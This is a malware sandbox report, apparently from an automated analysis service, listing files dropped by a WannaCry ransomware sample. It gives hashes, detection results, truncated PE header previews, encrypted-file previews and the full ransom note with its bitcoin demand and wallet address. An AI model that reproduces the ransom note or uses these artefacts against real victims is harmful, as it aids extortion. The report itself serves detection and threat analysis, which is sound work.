                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):20480
                                                                                                                        Entropy (8bit):3.1664845408760636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:Udocv5e0e1wWtaLYjJN0yDGgI2u9+w5eOIMviS0jPtboyn15EWBwwWwT:6oL0edtJN7qvAZM6S0jP1oynkWBwwWg
                                                                                                                        MD5:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                        SHA1:47A9AD4125B6BD7C55E4E7DA251E23F089407B8F
                                                                                                                        SHA-256:4A468603FDCB7A2EB5770705898CF9EF37AADE532A7964642ECD705A74794B79
                                                                                                                        SHA-512:4550DD1787DEB353EBD28363DD2CDCCCA861F6A5D9358120FA6AA23BAA478B2A9EB43CEF5E3F6426F708A0753491710AC05483FAC4A046C26BEC4234122434D5
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 96%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=..y..y..y......x......r......x......}.....z..y..Q..O..x..Richy..........PE..L...W.[J.....................0............... ....@..........................P...............................................!..P....@............................................................................... ...............................text............................... ..`.rdata..z.... ....... ..............@..@.data........0.......0..............@....rsrc........@.......@..............@..@........................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\user\Desktop\taskse.exe

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):20480
                                                                                                                        Entropy (8bit):2.5252509618107535
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:UjpvOHheaCDCNIOgTegoddPtboyX7cvp0EWy1HlWwr:UjVWEam7ofP1oyX7olWUHlW0
                                                                                                                        MD5:8495400F199AC77853C53B5A3F278F3E
                                                                                                                        SHA1:BE5D6279874DA315E3080B06083757AAD9B32C23
                                                                                                                        SHA-256:2CA2D550E603D74DEDDA03156023135B38DA3630CB014E3D00B1263358C5F00D
                                                                                                                        SHA-512:0669C524A295A049FA4629B26F89788B2A74E1840BCDC50E093A0BD40830DD1279C9597937301C0072DB6ECE70ADEE4ACE67C3C8A4FB2DB6DEAFD8F1E887ABE4
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 89%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#O..g.v.g.v.g.v..2x.f.v..1|.l.v..1r.e.v.!+.d.v.g.w...v.Q.}.f.v.Richg.v.........PE..L.....[J.....................0......L........ ....@..........................P..............................................| ..<....@............................................................................... ..`............................text............................... ..`.rdata....... ....... ..............@..@.data........0.......0..............@....rsrc........@.......@..............@..@................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\user\Desktop\u.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):245760
                                                                                                                        Entropy (8bit):6.278920408390635
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                        MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                        SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                        SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                        SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                        Malicious:true
                                                                                                                        Yara Hits:
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Users\user\Desktop\u.wnry, Author: Joe Security
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\user\Documents\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\Documents\@WanaDecryptor@.exe

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):245760
                                                                                                                        Entropy (8bit):6.278920408390635
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                        MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                        SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                        SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                        SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\user\Documents\BNAGMGSPLO.mp3

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.815517322627518
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:Wyk23zyElSX7CAb9XTEHzXNiW9BboIzhKMZ9/JRmMpLc:Wyx5lSX7CAJXoTXAkfzc0prmMpLc
                                                                                                                        MD5:BA4B70B274C606BE4598A080D96FFEB1
                                                                                                                        SHA1:AB5FB9A19D757D5FBC588F78E5ADBEE44A47C963
                                                                                                                        SHA-256:0932C6B172B919D3C5BA27AA54B4D7D0E1F543A1038F70E9011F02B64929CB93
                                                                                                                        SHA-512:E4014AF9A5AD2AEE1463C8572E853A0B29D84499FF853F9177D7180DFCBDE76BB4AF951FA1F1B7E43DF28AA5973D18F5C8F365F68600AEC55EB25A83B39900F1
                                                                                                                        Malicious:false
                                                                                                                        Preview:F..V.......z..7...Oyb.....?.).^..|..-.rkoR....G.#6..]..........b..l..l.].#....B..>:>.-..w.Wi......>...N...(.3.V...Rg...{@ ....,o..).:..9..iX.....U.W..AO....Y.c_.u..c.X......(..4......6S..]..2).=......S.E..X.$..h.p...{6e..ue....m......k{..I.....-.;r[.d.G.k...5Q...-..yU...4B.9&Y..^Ly>$<.yLl.8.K..}..^......`_..^k2......'?\..(..f[..<.....FWp....8..~jO........:~e........TI...ytBb66..C..|<....|.n0...${p..1.6#.............e..X=.K(...K..K.;...p..7.f.B..A.>...q......T...j'jI6.....*...i...f..F.I~nQ.(;.5...S.,Eu.....n..M.....e.`6."FS\B.sj.JK(2+ ...H..S.Ik.......X)Kb.?..6..<n..0....dEJ...R.h1.....w]GD5..I...~.`.Nv.M..w.d@..[..A.#.....TP..j}.7...........$...L.[..;.X]..V(A.j.!.%D.`.Z....9.)lc)Ur|c/..........O%O..o..w...j..7.... ...n.*..q...$u.`..h.......b....s.n..M..t\.zS......k...;.C....,Q@0v.>.o.-4... ..$.8.G....?.N+.87F......[..P.....)v ...k...U5v+R..y*...\slN....}...........z...gbb...#g.=.>..Y...+...x.!..rE..I..Y..Q.r.....d6.F.ZnR...w..5.};..P...|..3-~

                                                                                                                        C:\Users\user\Documents\BNAGMGSPLO.mp3.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.865959098067401
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkpL5080qRebv3f9xuAXHKY1LuDHVGl1u7RJOaj+lB1qDxxV0NxQ4PReMPgWIxxm:bkh5z0qReTHumKYADHVWCn+lDq/VMx9J
                                                                                                                        MD5:FCEF7C72CD459EDC4691ECDCAF306D36
                                                                                                                        SHA1:5F63C85FAA3F49871C7E3C5BA395BAB6DB0F71C7
                                                                                                                        SHA-256:807670F07D96047E0574417A69AEBBC755648163E6DE5C558D358CA2FA7AECF0
                                                                                                                        SHA-512:16E25904ACB1F59D238288CEA95032450367E593C5990DABEAD86900854D10794149B6030610DC96109459B7176E573DBD4E07AFE9B86975261A9AF457B24816
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......UL....qz..D...................#..g....-4..nc...I...1...eu-..i~Q...c.&pU.4.JI-.I........|....{.`.^#.:...H,w.-.v.fY..}.X:.4...S)S...i0..H...........#SN.W=.@j.).f...7....../..x.....0...b...Ub...R.Q.......H..#......E.9R]..E...].N....J...........S..f.............sGO.....q.t..y.|[....f:...d.hV..2..qz.H.5......1....`?...p..Tq~.D.$.p..m.S.....s..u..V.......1f.ac.5.V...&(...D....\X.......~.......d.^.t...k.,...#,`.n.]....H...]....tf.zA..9.E.OO.%;........../_,.~...DhU..3G.Bf.$..w..E{2.ZS.\{Hvh..c..F..q......2.w.z..K...@...]!.L.uq".N<.IK..v.....w.&._b.......A....%.qU.....]_..+_.....f_.,....<X......z.K.[........}.7.Jg....<....}Wg...&............,}h.+.=.b#wJ|.@y..~.E.b...n.xn\Y...'....Ndw.ZW..C..*..Y.....+T..>..M..o.Rc.*..mF'5.S..C.v..I.:..plWw.T(?..'....=..-.3..Q..Bh.~b...d..a....Tc...d~..^..&......G~&,..l$. .*.!..."%..e..9l.....N.X.F..\.~....|8....|.(.O.T>.....D......e.a...{./..Be..g`5^l....%....b0#k...*:&.V.P.J...2S?3..0_h..@.c.....z).7.......E.y

                                                                                                                        C:\Users\user\Documents\BNAGMGSPLO.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.865959098067401
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkpL5080qRebv3f9xuAXHKY1LuDHVGl1u7RJOaj+lB1qDxxV0NxQ4PReMPgWIxxm:bkh5z0qReTHumKYADHVWCn+lDq/VMx9J
                                                                                                                        MD5:FCEF7C72CD459EDC4691ECDCAF306D36
                                                                                                                        SHA1:5F63C85FAA3F49871C7E3C5BA395BAB6DB0F71C7
                                                                                                                        SHA-256:807670F07D96047E0574417A69AEBBC755648163E6DE5C558D358CA2FA7AECF0
                                                                                                                        SHA-512:16E25904ACB1F59D238288CEA95032450367E593C5990DABEAD86900854D10794149B6030610DC96109459B7176E573DBD4E07AFE9B86975261A9AF457B24816
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......UL....qz..D...................#..g....-4..nc...I...1...eu-..i~Q...c.&pU.4.JI-.I........|....{.`.^#.:...H,w.-.v.fY..}.X:.4...S)S...i0..H...........#SN.W=.@j.).f...7....../..x.....0...b...Ub...R.Q.......H..#......E.9R]..E...].N....J...........S..f.............sGO.....q.t..y.|[....f:...d.hV..2..qz.H.5......1....`?...p..Tq~.D.$.p..m.S.....s..u..V.......1f.ac.5.V...&(...D....\X.......~.......d.^.t...k.,...#,`.n.]....H...]....tf.zA..9.E.OO.%;........../_,.~...DhU..3G.Bf.$..w..E{2.ZS.\{Hvh..c..F..q......2.w.z..K...@...]!.L.uq".N<.IK..v.....w.&._b.......A....%.qU.....]_..+_.....f_.,....<X......z.K.[........}.7.Jg....<....}Wg...&............,}h.+.=.b#wJ|.@y..~.E.b...n.xn\Y...'....Ndw.ZW..C..*..Y.....+T..>..M..o.Rc.*..mF'5.S..C.v..I.:..plWw.T(?..'....=..-.3..Q..Bh.~b...d..a....Tc...d~..^..&......G~&,..l$. .*.!..."%..e..9l.....N.X.F..\.~....|8....|.(.O.T>.....D......e.a...{./..Be..g`5^l....%....b0#k...*:&.V.P.J...2S?3..0_h..@.c.....z).7.......E.y

                                                                                                                        C:\Users\user\Documents\GAOBCVIQIJ.jpg

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.817727270453199
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:Tihc7XgS12SCa0ee6QcEJl761f4MEZnS2j+tFI:H7XgS12SUQG761fm1S2j+tFI
                                                                                                                        MD5:0AC87614A1CFCCC43ECAC4E578785DE5
                                                                                                                        SHA1:396E27D11FB62B2AC63C93F2F9BB4E211D042058
                                                                                                                        SHA-256:FEC6BDAAB3E51ACE6015684B28537A506A0BFE0FBD3E6134171B20539E0D6ACE
                                                                                                                        SHA-512:8AE08382464059DDDE208D24194E5FE307EB6C8CD92BC42D91A62B1E3576705C42E0BD102E3F37F2CC60F393118BF54DFAC65D476ECF9812E324E229D8E71AC3
                                                                                                                        Malicious:false
                                                                                                                        Preview:U...6..`/...p4dV.O[..P .E]..+....................&n.f.[.....e....y_.K..f3.R..?..5I...,F.PD..x8.=6.b+...F...<Y.W....&..`...E.+........./.x1^....1..h.r....E..q.~X.z3T........!..C%.tOP...{.U?JH.I.w,....[..G6y...8..!..M..qh...].eQ._..K,:...y...y.).......9M.e.j.D.RV...d{<.?...V....:......p.......d&....p.:..9h..kg&.]...I..`...~..8...+....99....t.^f...?...E...C..j~.l.......J5.....m.....f.......K......)......"...jhP?a....jj.....zwT...5Z.....n.....<..+.......w..~.x..2imX[.F..ey8KD........._PS.k. ..3........M.N..X4......w.......z..|..|.5H...(......r.,..#......?.........loJ,ck..7.H.....'.......R...a.R.-.;0...T.......&...o.;@.....Q7.&..N..d.g.^.$...O;..A....By.(U..=,.D...W.DA.~..v.......{...3t......5.C..uf...zLl...^^H.-........e.P....e.-:}e.A.....#.T.$.bI.^.4...b.H.V.....%.........ogC..F...A........Xn'...W.sCG.c..[...-../Y.....[.....TvV<h..G.^.....Ph....b....=5...r.<.e....#.....D.t?U3......c9L...].L...S..-~.d..\..~.\.7O.r....G/...o.J.\h...:j...A.s..8.

                                                                                                                        C:\Users\user\Documents\GAOBCVIQIJ.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.836597474927359
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkqG/eDBXaPHGaL+SLqNXjb4NGuzcPMVy4q8bA0t+HdhKg7VA:bkqBNauaveOAuoEsoM9hf7y
                                                                                                                        MD5:9EB42351E85FA9D2E3FCB0FDE55C9830
                                                                                                                        SHA1:26B9CF7413AB7AC85D0D2DDB5C2CDC0F82DC20F1
                                                                                                                        SHA-256:45AA24BF37C587EAE527C4459AB20B77D05D463DD2F006E09E8AE28FE9877D0A
                                                                                                                        SHA-512:E0E1800BDC5AF22B6A92012660D851EA47078CA198AAD836BFDCF8D3CDA37EDE16DD2C4AB96915AF4CB481238E19EBBCFBD17932D00A1FE4CD4878046A6763DF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....B\.....z.....eI...x..\/.*1.tX ..~....p..g.O).9%mc... >.%.-x....O.|:?.. >-...E.|..<S..{...CR...j.1,....*fJ.d.r..[.K.'.,..L}....0..<...i..Wa.`..9....(.....o....Q..Ax:.1B....>..Wp~aH..6,[.....q].Y...B.U=.t.-. .l*.g..*..G^..H}.7...c. ...............F?w..Z....1.yo.I...hOXnK...>..S.{..;..&...kD.\]...5.u...k..>.QD3.'B..Y.ZE.._f..Z.4.. ...Q.<"..."..... .~D/.*&..S..Z.c...Ui4_........@..#..J.Bx....q.t.U..&..x..b..uG....@..+@!#...H~...o+k.Rf...[MRL].@.[XV..Ry.b.U...i...Gi.o...iH&...xC.<.pEy...,....+.. .-s(..5A.7x..5j.f#.z+..L...."..}..y%.y....#......;.B...@{...A......%bDh.Cj..E.u6|.{..........h.4.L..f..|.$.(H......D..A:.......H1.{9_h..L@W.MVg..H..k.3..l..XG.......C.`o...aK\].>].Z.Q.OSx...&....0.A.k`lS{...e...6;...:B.K..{u..Tm).-|..F.^E.._j...a......I.b....I...w....y.W9/e}...b.%...K..O{.t.._..I|@.......a...aG..>.M.L..S.Fq..X....u..WaN~....},L.0...y.08W.K.....s*..[.7.t.B._.Z.B.......$.............xD...E.._>jx.....?...bo]F.

                                                                                                                        C:\Users\user\Documents\GAOBCVIQIJ.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.836597474927359
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkqG/eDBXaPHGaL+SLqNXjb4NGuzcPMVy4q8bA0t+HdhKg7VA:bkqBNauaveOAuoEsoM9hf7y
                                                                                                                        MD5:9EB42351E85FA9D2E3FCB0FDE55C9830
                                                                                                                        SHA1:26B9CF7413AB7AC85D0D2DDB5C2CDC0F82DC20F1
                                                                                                                        SHA-256:45AA24BF37C587EAE527C4459AB20B77D05D463DD2F006E09E8AE28FE9877D0A
                                                                                                                        SHA-512:E0E1800BDC5AF22B6A92012660D851EA47078CA198AAD836BFDCF8D3CDA37EDE16DD2C4AB96915AF4CB481238E19EBBCFBD17932D00A1FE4CD4878046A6763DF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....B\.....z.....eI...x..\/.*1.tX ..~....p..g.O).9%mc... >.%.-x....O.|:?.. >-...E.|..<S..{...CR...j.1,....*fJ.d.r..[.K.'.,..L}....0..<...i..Wa.`..9....(.....o....Q..Ax:.1B....>..Wp~aH..6,[.....q].Y...B.U=.t.-. .l*.g..*..G^..H}.7...c. ...............F?w..Z....1.yo.I...hOXnK...>..S.{..;..&...kD.\]...5.u...k..>.QD3.'B..Y.ZE.._f..Z.4.. ...Q.<"..."..... .~D/.*&..S..Z.c...Ui4_........@..#..J.Bx....q.t.U..&..x..b..uG....@..+@!#...H~...o+k.Rf...[MRL].@.[XV..Ry.b.U...i...Gi.o...iH&...xC.<.pEy...,....+.. .-s(..5A.7x..5j.f#.z+..L...."..}..y%.y....#......;.B...@{...A......%bDh.Cj..E.u6|.{..........h.4.L..f..|.$.(H......D..A:.......H1.{9_h..L@W.MVg..H..k.3..l..XG.......C.`o...aK\].>].Z.Q.OSx...&....0.A.k`lS{...e...6;...:B.K..{u..Tm).-|..F.^E.._j...a......I.b....I...w....y.W9/e}...b.%...K..O{.t.._..I|@.......a...aG..>.M.L..S.Fq..X....u..WaN~....},L.0...y.08W.K.....s*..[.7.t.B._.Z.B.......$.............xD...E.._>jx.....?...bo]F.

                                                                                                                        C:\Users\user\Documents\GAOBCVIQIJ.mp3

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.791024999309432
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ag2gYQqGNnqkh2EsSS4hTRYwhu96XIqnex7QYy13Fox:aHgYuqudsSSOLO6XQQY4Vox
                                                                                                                        MD5:DDA64A74BB2D8621BF91ACA6748E0327
                                                                                                                        SHA1:B719E510D790E37B5C66B5EBF5E8E1E2CE0CB430
                                                                                                                        SHA-256:3C5CD053E868B280A07560C77CE16B8E009908623F59B662EDBBF2706C270729
                                                                                                                        SHA-512:BB66697289F9CB07133FF584BA2AE455B0BB4D325A336792EAF68EEC584F0965E1EF7003B669072A862E0DE0B64EC391366B90E6D035685894E625EF5DF06DE1
                                                                                                                        Malicious:false
                                                                                                                        Preview:..><..@.{......^#..J.R..:M....e.A.`...A.e..z..&...=.+.$....O........J3..v.v.Z...&:..c%..4.3..NW.....t......f.9.Pe.&.o..c......$.s......u...{.:.7..w.Vv..r.s......c`.#.;.(....E.[..S...j(+=.*..JE..x.(bH.}...6'1.X.2e...*.\.#.....e....;h...B......I[G./.3.f.5.L.....z....=J......[.&V....M...|.@...+c{v..`..|.;.`....}....+.~}..#u.nY.........7.......=..UCg.t...y.h".<Z.3L.d.I.UTdL..C....7..0.f..5........b......_.wG...~O......|<.4O.'g.Z.[I...Z0...k....uU;T;M.9.}.J..@..#E..P.....|.....5m........f....3.r..EPs..V.f.B...3B......L?c....e^X=.a.....d...C.^g..........p....1._......n...........6.y......=......J...9..Sj....5HNb..?$.....X....}O..H....!.H..H.Z.e..%1..].....L..i.;H......_.ug+.)v..a....I?..dh.H.&..RE.u..TWS........o....o.D.....ei..[...M.,".I.@..(.^.N..P.N..'>.D'...wXW'X.Yf..xB.....~..L..j{.C..0.6...o...ZK...(Ku...A..UX/-'0u.4.8fc&.b.Z.T.........DUc.b.....J....:#..)H.f.:p..bn.n,...^Xw..../....ORa..+...k....1}..........u@..#A.9-.KM.!k/.....F..[.7.

                                                                                                                        C:\Users\user\Documents\GAOBCVIQIJ.mp3.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.847267837518341
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk8ULwZ/HEwzUrIugwDRq9LQm66jCXTY7kXh1UQeYILfKSqnnbHK0z:bk8UEsj1q9kyqYchsJDknbq4
                                                                                                                        MD5:5447776BE1E77A056F5D4F01791A2793
                                                                                                                        SHA1:57844741B28568D3D76F10E78E64216A928A0FBD
                                                                                                                        SHA-256:6C88853F4906DAB0628968033CD7759C9A98F63A9B27F534D8DF06677C2E70A7
                                                                                                                        SHA-512:BB6E00FFFA3EB413243F220509D1543BCC4B8C632B3821D7A14C0390B222CAE681E7C25C5A78BAB1E6A29B4F2B4C9CBAF1BC23CF49E0478E95B49544E3EE0CBF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....?..P98..#.2...wW..xY~..)a..IK.:.*.].x.`a.]..1....E...\v.4.y...uuR.x''m~.+..n>..hb..m.E.......0..UH1.:...$o.A..<d...R...,)......K&:.r...Y#.....D-^.g..Q..R..y>...6.1..J.V}H.j....[....D....).b;.ia.>.?.....lA..b.}0....r.9./.$.yW....].......S...............)..r|?...\4..Y....*.l..+.2.....4.s.w..i..J...E...i6.,.......&..j..Rn.1..,.-t.......zQ....Bs.91...h...I...j.`T.......V...R.|..(4.@..b../....y|..L.D..T......b(..Y....&6.>.;g......V..~>k..t..'^.OW..uEqo.........e..#qK...H.8@....2.>'(...Z......r.pw`.i.....e]B...KhF.....%O.x......../. _..Shm....i..sj..E.p.l........|O....`.A}..P.B8..ObV.'........Kd.t.^.....l.dM.?.}'0.]]J.n2w.s..ph..g~.....Yy?H.#..p...o.....J......{.....F.h.)Y..jJ........u@.u....D.C.+..e.T..g..3.'}..?.XZ...p...I.=..O..EKB.oYF.n.g.& .=.K..........Fn..~....GN..t.r.N.6H....{......g......hb ..n.....Q..b.%0......0.....N d....mm.Pf.@Sy."H.e..x........=.r...j;..xq.)...O>....5.AkR..F=..)b4.h......;..{...R....0,......3.._

                                                                                                                        C:\Users\user\Documents\GAOBCVIQIJ.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.847267837518341
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk8ULwZ/HEwzUrIugwDRq9LQm66jCXTY7kXh1UQeYILfKSqnnbHK0z:bk8UEsj1q9kyqYchsJDknbq4
                                                                                                                        MD5:5447776BE1E77A056F5D4F01791A2793
                                                                                                                        SHA1:57844741B28568D3D76F10E78E64216A928A0FBD
                                                                                                                        SHA-256:6C88853F4906DAB0628968033CD7759C9A98F63A9B27F534D8DF06677C2E70A7
                                                                                                                        SHA-512:BB6E00FFFA3EB413243F220509D1543BCC4B8C632B3821D7A14C0390B222CAE681E7C25C5A78BAB1E6A29B4F2B4C9CBAF1BC23CF49E0478E95B49544E3EE0CBF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....?..P98..#.2...wW..xY~..)a..IK.:.*.].x.`a.]..1....E...\v.4.y...uuR.x''m~.+..n>..hb..m.E.......0..UH1.:...$o.A..<d...R...,)......K&:.r...Y#.....D-^.g..Q..R..y>...6.1..J.V}H.j....[....D....).b;.ia.>.?.....lA..b.}0....r.9./.$.yW....].......S...............)..r|?...\4..Y....*.l..+.2.....4.s.w..i..J...E...i6.,.......&..j..Rn.1..,.-t.......zQ....Bs.91...h...I...j.`T.......V...R.|..(4.@..b../....y|..L.D..T......b(..Y....&6.>.;g......V..~>k..t..'^.OW..uEqo.........e..#qK...H.8@....2.>'(...Z......r.pw`.i.....e]B...KhF.....%O.x......../. _..Shm....i..sj..E.p.l........|O....`.A}..P.B8..ObV.'........Kd.t.^.....l.dM.?.}'0.]]J.n2w.s..ph..g~.....Yy?H.#..p...o.....J......{.....F.h.)Y..jJ........u@.u....D.C.+..e.T..g..3.'}..?.XZ...p...I.=..O..EKB.oYF.n.g.& .=.K..........Fn..~....GN..t.r.N.6H....{......g......hb ..n.....Q..b.%0......0.....N d....mm.Pf.@Sy."H.e..x........=.r...j;..xq.)...O>....5.AkR..F=..)b4.h......;..{...R....0,......3.._

                                                                                                                        C:\Users\user\Documents\IPKGELNTQY.jpg

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
